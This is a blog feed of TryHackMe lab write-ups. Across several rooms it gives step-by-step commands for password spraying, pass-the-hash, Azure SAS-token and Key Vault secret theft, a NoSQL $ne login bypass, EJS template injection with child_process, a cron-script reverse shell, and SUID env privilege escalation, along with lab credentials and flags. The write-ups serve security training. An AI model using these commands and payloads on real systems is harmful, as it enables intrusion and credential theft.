DEV Community: Mohammad ali

TryHackMe: Year of the Owl Walkthrough & Write-up

Mohammad ali — Tue, 04 Aug 2026 23:37:11 +0000

Introduction
"Year of the Owl" is an intermediate-level Windows machine available on TryHackMe. It presents a realistic pentesting scenario starting from reconnaissance, exploiting SNMP enumeration, password spraying via WinRM/SMB, recovering SAM and SYSTEM backup hives from the Recycle Bin, cracking password hashes with Impacket, and finally escalating privileges to Administrator.

In this write-up, we will walk through the complete enumeration and exploitation chain step-by-step.

Phase 1: Reconnaissance & Port Scanning

We start by running an initial Nmap scan to identify open ports and services on the target machine (10.67.173.83).

Further UDP SNMP enumeration reveals port 161/udp open/filtered. We can use Metasploit to enumerate users through SNMP.

Using the community string openview, the SNMP enumeration successfully discovers 5 user accounts on the system:

Administrator
DefaultAccount
Guest
Jareth
WDAGUtilityAccount

Phase 2: Credential Stuffing & Password Spraying

With the discovered username jareth, we proceed to perform credential stuffing and password spraying against SMB (445) and WinRM (5985) using crackmapexec combined with the standard rockyou.txt wordlist.

After iterating through the wordlist, a valid match is found for user jareth:

Password Found: sarah (marked as Pwn3d!)

Phase 3: Initial Access via WinRM

Now that we have valid credentials (jareth:sarah), we can establish an interactive remote shell using evil-winrm.

Once connected, we navigate to Jareth's desktop and retrieve the user flag (user.txt):

User Flag: THM{Y2I0NDJjODY2YmI2Y2U4M2IwZT81}

Phase 4: Privilege Escalation & Hive Recovery

To escalate our privileges, we inspect system privileges and search for sensitive files or backups. While investigating the file system, we locate registry backup hives stored inside the Recycle Bin ($Recycle.bin).

We locate sam.bak and system.bak inside the Recycle Bin directory for the user SID. We copy these files locally to Jareth's directory and download them to our attacking machine using the built-in evil-winrm download command.

Back on our Kali Linux attacker machine, we use impacket-secretsdump to extract the NTLM password hashes from the offline SAM and SYSTEM backup hives.

The hash dump successfully reveals the NTLM password hashes for all local accounts, including the Administrator:

Administrator Hash: aad3b435b51404eeaad3b435b51404e:6bc99e9edcfecf9662fb0c0ddcf7a7a

Phase 5: Gaining Administrator Access & Root Flag

Armed with the Administrator hash, we perform a Pass-the-Hash (PtH) attack via evil-winrm to connect directly as the Administrator.

Finally, we navigate to the Administrator's desktop, read admin.txt, and capture the final root flag:

Root Flag: THM{YWFiZTM1MjFjMzRiODgyY1wyUwyZlZWM2}

Conclusion
"Year of the Owl" is an exceptionally well-designed lab that highlights the risks of:

Information leakage via SNMP.
Weak password policies and password spraying vulnerabilities over WinRM/SMB.
Leaving sensitive backup files (like SAM and SYSTEM hives) inside the Recycle Bin.

Cloud Security Walkthrough: Exploiting Azure Blob Storage and Key Vault Misconfigurations in CryptoCabana

Mohammad ali — Tue, 04 Aug 2026 17:39:48 +0000

Introduction and ReconnaissanceThe CryptoCabana challenge on TryHackMe centers around an insecure cloud deployment where sensitive data, service accounts, and encryption keys are improperly exposed. The initial phase involves accessing the Azure environment using the provided portal credentials and launching the Azure Cloud Shell with Bash selected.

portal.azure.com

To validate shell access and check the active subscription context, we execute:

az account show

Enumerating Azure Blob Storage Containers via SAS Tokens

During application analysis, an exposed Shared Access Signature (SAS) token is discovered. Using curl, we can query the Azure Blob Storage service endpoint to list all available containers:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

The enumeration reveals three primary containers:

$web
backups
vault

Extracting Sensitive Artifacts from the Vault Container

Targeting the vault container, we list its internal blobs to locate stored credentials and backup files:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

The container hosts two critical files:

seed_phrase.txt
backup-service-account.json

Pulling the Files

Using our read permissions (sp=rl), we download both files directly via curl:

Seed Phrase:

curl -s"https://cryptocabanaf5scjagc.blob.core.windows.net/vault/seed_phrase.txt?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

Result: velvet cabana rebuild scatter obvious wallet drift lagoon punchline receipt orbit shrimp

Backup Service Account Credentials:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

Result: Exposes the client_id, client_secret, tenant_id, and the target Azure Key Vault URI (ccabana-kv-f5scjagc).

Authenticating as a Service PrincipalWith the extracted Service Principal credentials, we authenticate via the Azure CLI to inherit its access context within the subscription:

az login --service-principal -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 -p "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg" --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

Enumerating and Querying Azure Key Vault Secrets

After successful authentication, we list the secrets contained within the target Key Vault (ccabana-kv-f5scjagc):

az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table

The vault contains four secrets:
key-shard-1
key-shard-2
key-shard-3
master-key

Extracting Flag Shards

we retrieve the values of the individual key shards sequentially:

First Shard:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv

Value: THM{not_ur

Third Shard:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv

Value: ur_c01ns!}
Retrieving Historical Versions for the Second Shard:
Because key-shard-2 indicated a rotation event, we list its previous versions to recover the older, sensitive value:

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 --query "[].{Id:id, Attributes:attributes.enabled}" --output table

Querying the specific version ID (3d6492d2c6f74123bc754a9ded22b2a0) yields the missing middle segment:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --version 3d6492d2c6f74123bc754a9ded22b2a0 --query value -o tsv

Value: k3ys_not

ConclusionBy chaining exposed SAS token permissions, unencrypted backup analysis, service principal harvesting, and key vault version control tracking, we successfully reconstructed all flag components.

THM{................................

Exploiting Race Conditions in Web Applications: A Write-up for the TryHackMe “Towel on the Sunbed” Room

Mohammad ali — Mon, 03 Aug 2026 23:42:23 +0000

Introduction
Race conditions represent a critical class of logic vulnerabilities that occur when a software program handles multiple processes or requests concurrently without proper synchronization. In web application security, this frequently manifests as a “Time-of-Check to Time-of-Use” (TOCTOU) flaw, where an application checks a condition (such as user balance or reward eligibility) and updates it later, allowing attackers to execute an action multiple times before the state is fully synchronized.
This write-up covers the walkthrough and exploitation methodology for the Towel on the Sunbed room on TryHackMe. The challenge centers around a mock cryptocurrency staking platform vulnerable to a race condition, enabling us to bypass rate-limiting and reward restrictions to capture the flag.

Reconnaissance and Enumeration
Upon deploying the lab environment, we are greeted by Ponzi Portfolio, a web application simulating a crypto asset tracking and staking interface.

Authentication: The application allows users to register an account and log in. We created a test account (123456) to access the dashboard.
Staking Rewards Feature: The dashboard features a “Staking Rewards” section that permits users to claim 50 PONZI tokens every 24 hours.
The Objective: Below the staking section lies the Whale Vault, which requires accumulating 150 PONZI tokens to unlock an exclusive reward (the flag).

Since the application restricts claims to once every 24 hours, waiting naturally for enough tokens is unfeasible. However, the room’s description — “Ponzi set his towel down for one 24-hour reward claim. He came back to find the sunbed had been ‘claimed’ three times over while he wasn’t looking” — hints directly at a concurrent execution vulnerability.

Vulnerability Analysis
When clicking the Claim Reward button, the browser dispatches a POST request to the /claim endpoint.

Using Burp Suite, we intercepted this HTTP request. The request structure is lightweight:

POST /claim HTTP/1.1
Host: 10.65.186.53:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.65.186.53:3000/dashboard
Origin: http://10.65.186.53:3000
Connection: keep-alive
Cookie: connect.sid=...
Content-Length: 0
The underlying application logic likely checks if the user has claimed their reward within the current period. If false, it credits 50 points and updates the database. If multiple identical requests hit the server simultaneously before the database flag updates, all of them may pass the conditional check concurrently.

Exploitation via Burp Suite Repeater
To test and exploit this behavior, we leveraged Burp Suite’s advanced group-sending capabilities in the Repeater module:

Sent the captured /claim POST request to Repeater.
Duplicated the request tab multiple times (e.g., 30 parallel requests).
Grouped these tabs together and configured the dispatch method to “Send group in parallel (last-byte sync)”. Last-byte sync ensures that Burp holds back the final bytes of each request and releases them simultaneously, maximizing concurrency at the server socket level.
Upon executing the parallel group request, the server responded to multiple concurrent threads successfully, incrementing the balance past the standard single-claim restriction.

Server Response Example:
{ "message": "Staking reward claimed successfully", "reward": 50, "newBalance": 150, "tier": "Whale", "priceSnapshot": 4.20 }

With the balance successfully elevated to 1,550 PONZI, the account met the tier requirement for the Whale Vault.

Capturing the Flag
Navigating back to the application dashboard with the updated balance unlocked the vault interface, revealing the flag:

THM{............................}

Happy Hacker

TryHackMe: Poolside Writeup

Mohammad ali — Mon, 03 Aug 2026 23:38:51 +0000

From NoSQL Injection & SSTI to Raw Disk Root Access via Debugfs

Introduction
Welcome to this detailed technical walkthrough for the Poolside room on TryHackMe. This machine presents an engaging web exploitation challenge that starts with an authentication bypass, moves into remote code execution, and culminates in an unconventional privilege escalation vector utilizing raw disk analysis via system utilities and Node.js debugging.

Phase 1: Initial Reconnaissance & Scanning
We begin our engagement by performing a port scan using Nmap to identify open ports and running services on the target machine:

nmap -sV -sC 10.67.180.45

Nmap Scan Results:

Port 22/tcp (SSH): OpenSSH 9.6p1 Ubuntu.
Port 80/tcp (HTTP): Node.js (Express middleware) hosting a web application titled “Byte Lotus — Poolside”.
To discover hidden directories and endpoints on the web server, we run a directory brute-force enumeration using Gobuster

gobuster dir -u http://10.67.180.45 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

The directory scan reveals key endpoints such as /staff (returning a 403 Forbidden status code requiring authentication) and /logout.

Phase 2: NoSQL Authentication Bypass
The login portal on port 80 prompts for a Staff/Guest ID and a Passphrase. By intercepting the login POST request using Burp Suite, we notice that the backend framework relies on Express.js, strongly suggesting a NoSQL (MongoDB) database backend. Standard SQL injection payloads fail, but NoSQL operators provide an elegant bypass. By leveraging MongoDB’s “not equal” operator ($ne), we can manipulate the query logic:

POST /login HTTP/1.1
Host: 10.67.180.45
Content-Type: application/x-www-form-urlencoded
username=attendant&password[$ne]=wrong
This payload alters the backend database query structure to check if the password is not equal to “wrong”, which evaluates to true for the valid username attendant. The server responds with a 302 Found redirect and sets an authentication cookie (connect.sid), granting us entry to the staff console at /staff.

Phase 3: Server-Side Template Injection (SSTI) & Initial Shell
Inside the staff console, we find a booking confirmation message customization feature that utilizes EJS (Embedded JavaScript) templates. Entering a mathematical expression like <%= 6 * 4 %> into the preview renders 24, confirming a severe Server-Side Template Injection (SSTI) vulnerability.

We can exploit this template injection to execute arbitrary system commands via Node.js child process modules. To gain a stable reverse shell, we inject a standard Node payload executing a Python reverse shell back to our attack machine:

By setting up a Netcat listener on our machine (nc -lvnp 7777) and triggering the preview panel, we successfully catch a reverse shell as the user poolside. Navigating to the user's home directory reveals our first flag:

poolside@tryhackme-2404:~$ cat user.txt
THM{......................}
Phase 4: Privilege Escalation & Raw Disk Access
Standard privilege escalation enumeration reveals no straightforward sudo permissions or explicit SUID binaries. However, examining internal system processes and capabilities shows that a background Node process running under another user has access to disk utilities and low-level system interaction.

Specifically, we can use Node.js to execute administrative binaries capable of interacting with block devices. Using debugfs against the primary disk partition (/dev/nvme0n1p1), we can bypass standard file permission restrictions enforced by the operating system because we have raw block device read capability or interface access.

Let’s inspect the contents of the root directory using debugfs via Node execution:

process.getBuiltinModule(‘child_process’).execFileSync(‘/usr/sbin/debugfs’, [‘-R’, ‘ls /root/’, ‘/dev/nvme0n1p1’], { encoding: ‘utf8’ })

The output reveals the contents of /root, including root.txt. We can then read the root flag directly through debugfs:

process.getBuiltinModule(‘child_process’).execFileSync(‘/usr/sbin/debugfs’, [‘-R’, ‘cat /root/root.txt’, ‘/dev/nvme0n1p1’], { encoding: ‘utf8’ })

Root Flag Retrieved: THM{..........................}

Conclusion
The Poolside room is an exceptional machine that highlights the dangers of insecure NoSQL query handling, the catastrophic impact of Template Injection in Node.js applications, and how misconfigured system permissions or raw block device access (debugfs) can completely undermine Linux file system security boundaries.

Thank you for reading! If you enjoyed this write-up, feel free to share it with the community and leave a clap on Medium. Happy hacking!

Write-up: TryHackMe Room “Anonymous”

Mohammad ali — Mon, 03 Aug 2026 23:35:06 +0000

Welcome to this comprehensive technical article where we will walk through the step-by-step process of solving the popular Anonymous room on TryHackMe. This room serves as a practical exercise to enhance ethical hacking skills and focus on offensive security concepts in an organized manner.

Reconnaissance The journey always begins with gathering information about the target using standard enumeration tools. We performed a comprehensive scan using Nmap to identify open ports and running services on the target machine:

nmap -sC -sV
The scan results revealed several key ports and services:

Port 21 (FTP): vsftpd service allowing anonymous login (Anonymous FTP login allowed), along with a writable directory named scripts.
Port 22 (SSH): Secure shell service OpenSSH.
Ports 139 / 445 (SMB): Samba file sharing protocol.

FTP Exploitation and Anonymous Login Since the FTP server allowed access via the anonymous account, we logged in directly without a password:

ftp

Exploring the directories led us to the scripts folder, which contained the following files:
clean.sh
removed_files.log
to_do.txt
We noticed that the clean.sh script runs periodically (via a Cron Job), which creates an ideal opportunity for command injection or Cron Job Hijacking.

Before moving to initial access, we downloaded the original clean.sh file from the server to our local machine to analyze and edit it using the following command:

ftp> get clean.sh

Initial Access We edited the local clean.sh file using nano to add our reverse shell payload:

nano clean.sh

After modifying the script, we uploaded the updated file back to the scripts directory via FTP:

ftp> put clean.sh

Simultaneously, we set up a Netcat listener on our Kali machine:

nc -lvnp 4444

Once the script executed automatically on the target system, we successfully received the connection and obtained a shell as the regular user namelessone. From there, we were able to read the first user flag:

User Flag: ………………………………………….

Privilege Escalation to Root To search for potential vectors to escalate our privileges to root, we looked for files with the SUID permission bit set using the following command:

find / -perm -4000 -type f 2>/dev/null

The results highlighted an unexpected binary — specifically, the use of /usr/bin/env combined with the shell (/bin/sh -p). Following the guidance from the well-known GTFOBins platform for privilege escalation:

/usr/bin/env /bin/sh -p
Executing this command instantly dropped us into a root shell! We then navigated to the root directory to read the final flag:

Root Flag: …………………………………………

Overheard at Breakfast: TryHackMe Room Write-up & OSINT Walkthrough

Mohammad ali — Mon, 03 Aug 2026 23:31:35 +0000

Two strangers. One conversation. One profile they never meant to reveal.

Open Source Intelligence (OSINT) is one of the most exciting and dynamic fields in cybersecurity. It demonstrates how seemingly innocuous snippets of information shared online can expose a complete digital profile. In this write-up, we explore the TryHackMe room “Overheard at Breakfast”, breaking down how a casual conversation between two resort guests at “Byte Lotus” leads to uncovering a hidden identity and capturing the flag.

The Scenario & Reconnaissance The room drops us into a simulated chat transcript between two users: Ponzi — Influencer and Lambo!. They are chatting late at night about their stay at the Byte Lotus resort:

Key Conversation Excerpt:

Lambo!: “Absolutely, Byte Lotus is treating me nice, love the food, weather and overall vibes. Will probably come back next year too.”

Lambo! (regarding social media): “Yeah nowadays I don’t really use much social media… Though I’m still out there, I used to use this free tool that let me upload my profile and link other media accounts was neat, until I wiped everything. Started with a G if I remember correctly.”

Contact Email: lambobytelotushotel@gmail.com

From this conversation, we extract critical intelligence:

The target’s handle/name is Lambo.
They used a profile-linking tool starting with “G” where they previously uploaded a profile picture.
Their email address is explicitly provided: lambobytelotushotel@gmail.com.

Connecting the Clues: Gravatar OSINT The clue pointing towards a free tool starting with “G” used for hosting avatars and linking profiles immediately directs our attention to Gravatar (Globally Recognized Avatar), a service tied directly to email addresses using cryptographic hashing.

By checking the target email address on Gravatar (https://gravatar.com/site/check), we uncover the associated profile URL and avatar hash:

Email: lambobytelotushotel@gmail.com
Profile URL: https://gravatar.com/d43faaf69d71056793bd037b8d6e321acad
Avatar Hash: d43faaf69d71056793bd037b8d6e321acad985c222d83775610

Visiting the Gravatar profile reveals a custom avatar and a personalized message left by the room creators:

“Funny thing about email hashes, they follow you places you didn’t expect. Glad you found the right corner of the internet! Here is your prize: VEhNe1MzY3JIVF9QcjBmaWwzX0gf0c19iMzNuX0lkZW50MWZpM2R9"

Decoding the Flag with CyberChef The prize string is encoded in Base64. To decode it, we plug the string into CyberChef, apply the From Base64 recipe, and instantly reveal the plaintext flag:

Input: VEhNe1MzY3JIVF9QcjBmaWwzX0gf0c19iMzNuX0lkZW50MWZpM2R9
Output: THM{.....................................}
Flag Captured: THM{.................................}

From Insecure Deserialization to Root: TryHackMe “Beach Bar” Walkthrough

Mohammad ali — Mon, 03 Aug 2026 23:25:02 +0000

Introduction
In this write-up, we will walk through the Beach Bar room on TryHackMe. We will cover how we accessed the web application using default credentials, how directory enumeration revealed hidden web endpoints, how we navigated directly to the import page, how an insecure YAML deserialization vulnerability allowed us to gain a reverse shell, how we located and read the user flag, and how process enumeration exposed cleartext credentials leading to a full root escalation.

Phase 1: Accessing the Web Application & Reconnaissance

Logging into the DJ Booth Upon navigating to the target web application, we are greeted with the DJ booth sign-in page. We authenticate using the default credentials for the room:

Username: DJ
Password: DJ

Reconnaissance & Nmap Scan We also run an Nmap scan against the target IP to discover open ports and services:

nmap -sV -sC
The scan reveals two main open ports:

Port 22/tcp (SSH): Running OpenSSH 9.6p1.
Port 80/tcp (HTTP): Running a web application powered by Gunicorn.
Press enter or click to view image in full size

Directory Fuzzing with Gobuster
To discover hidden directories and endpoints on the web server, we run gobuster using the medium directory wordlist:

gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
As seen in our directory enumeration results:

/login (Status: 200)
/logout (Status: 302)
/export (Status: 302)
/dashboard (Status: 302)
/import (Status: 302)

Navigating to the Import Page
After running Gobuster and discovering the available endpoints, we append /import to the target URL (http:///import) in our browser to access the playlist management and import features.

Phase 2: Exploiting Insecure Deserialization (RCE)
The application features an Import function at this endpoint that processes uploaded playlist YAML files. Reviewing the backend code reveals an insecure deserialization flaw using yaml.load() without a safe loader, which allows Remote Code Execution (RCE).

Setting Up a Netcat Listener Open a Netcat listener on your Kali terminal to catch the reverse shell:

nc -lvnp 4444

Crafting and Submitting the Payload Instead of file upload scripts, we can target the input form directly. Copy the following payload into the Playlist YAML field on the web interface:

(Make sure to change 10.14.X.X to your Kali tun0 IP address, and 4444 to your open listener port).

Triggering the Exploit Click on Load playlist. This executes the payload through the application’s vulnerable YAML parser, granting us an initial foothold as the low-privilege user bartender.

Phase 3: Finding the User Flag
Once we obtain our initial reverse shell connection, we can navigate through the file system to locate the user flag.

Navigate to the home directory of the bartender
cd /home/bartender
List the directory contents to find user.txt:

ls
Read the contents of the flag file:

cat user.txt

User Flag Found: THM{................................}

Phase 4: Privilege Escalation via Process Enumeration
Once inside the system as bartender, we look for running services to find potential privilege escalation vectors. Running ps aux | grep python reveals the active background processes:

ps aux | grep python
As shown in our process inspection:

The jukeboxd.py script runs directly under the root user.
It accidentally passes the stream password in cleartext via command-line arguments: --stream-pass SunsetSpritz2024!.

Phase 5: Gaining Root Access & Finding the Root Flag
Switching to Root: With the exposed cleartext password (SunsetSpritz2024!), we leverage credential reuse to switch user contexts directly to the administrator:
su - root
Enter the password when prompted.
password : SunsetSpritz2024!
Locating and Reading the Root Flag:
Navigate to the root directory and list its contents:
cd /root
ls
Read the contents of root.txt:
cat root.txt

Root Flag Found: THM{..................................}

🕵️‍♂️ TryHackMe Write-up: Packed Light (Network Forensics & Decryption)

Mohammad ali — Mon, 03 Aug 2026 23:19:55 +0000

📑 Challenge Overview
A short capture from the VERA hotel guest network was logged before the connection dropped. Small packets are suspiciously being sent at regular intervals. Someone is smuggling out sensitive data disguised inside ordinary HTTP traffic.

Objectives:

Analyze the provided traffic.pcapng capture file.
Identify the covert communication channel used for data exfiltration.
Extract and reassemble the exfiltrated keystrokes/data.
Decrypt the recovered data and retrieve the flag.
🛠️ Step 1: Initial Setup & Extraction
Start by extracting the challenge zip file on your Kali Linux environment:

Unzip the challenge archive

unzip packed-light-forensics-1784224937659.zip

Navigate to the directory and inspect files

cd packed-light/
ls -la

Step 2: Traffic Analysis using TShark
Inspect the packet capture (traffic.pcapng) for HTTP requests directed to port 8080. We notice traffic featuring a custom User-Agent (ByteLotusClient) along with a suspicious cookie named hotel_sess_state.

Use tshark to filter the HTTP requests and inspect the cookie values:

tshark -r traffic.pcapng -Y “http.request && tcp.port == 8080” -T fields -e http.cookie

Observation: The requests contain Base64-encoded strings inside hotel_sess_state=... cookies. These represent exfiltrated character values (keystrokes) sent sequentially.

🐍 Step 3: Python Automation & Decryption Script
To handle packet parsing, deduplication, Base64 decoding, and XOR decryption, we write a Python script using scapy:

nano extract_clean.py

Python Script (extract_clean.py):
import base64
from scapy.all import rdpcap, Raw, TCP

Load the pcap file

packets = rdpcap(“traffic.pcapng”)

extracted = []
for pkt in packets:
if pkt.haslayer(TCP) and pkt[TCP].dport == 8080 and pkt.haslayer(Raw):
payload = bytes(pkt[Raw].load)
if b”hotel_sess_state=” in payload and b”ByteLotusClient” in payload:
try:
cookie = payload.split(b”hotel_sess_state=”)[1].split(b”\r\n”)[0].split(b”;”)[0].decode(“utf-8”)
extracted.append(cookie)
except Exception:
pass

Decrypt using XOR with key byte ‘H’

flag = “”.join(chr(base64.b64decode(c)[0] ^ ord(“H”)) for c in extracted)

print(“\n[+] The Flag:”)
print(flag)

🚩 Step 4: Execution & Retrieving the Flag
Run the script in your terminal:

python3 extract_clean.py

[+] The Flag:
THM{V3r4_1s_w4tch1ng_0veR_you}

🏁 Conclusion
Final Flag: THM{V3r4_1s_w4tch1ng_0veR_you}

Key Takeaways:

Data exfiltration techniques often hide within benign-looking HTTP headers and Cookie fields.
Analyzing request signatures (like custom User-Agents) quickly isolates suspicious packets.
Scripting with Scapy allows seamless parsing and automated decryption of custom network traffic.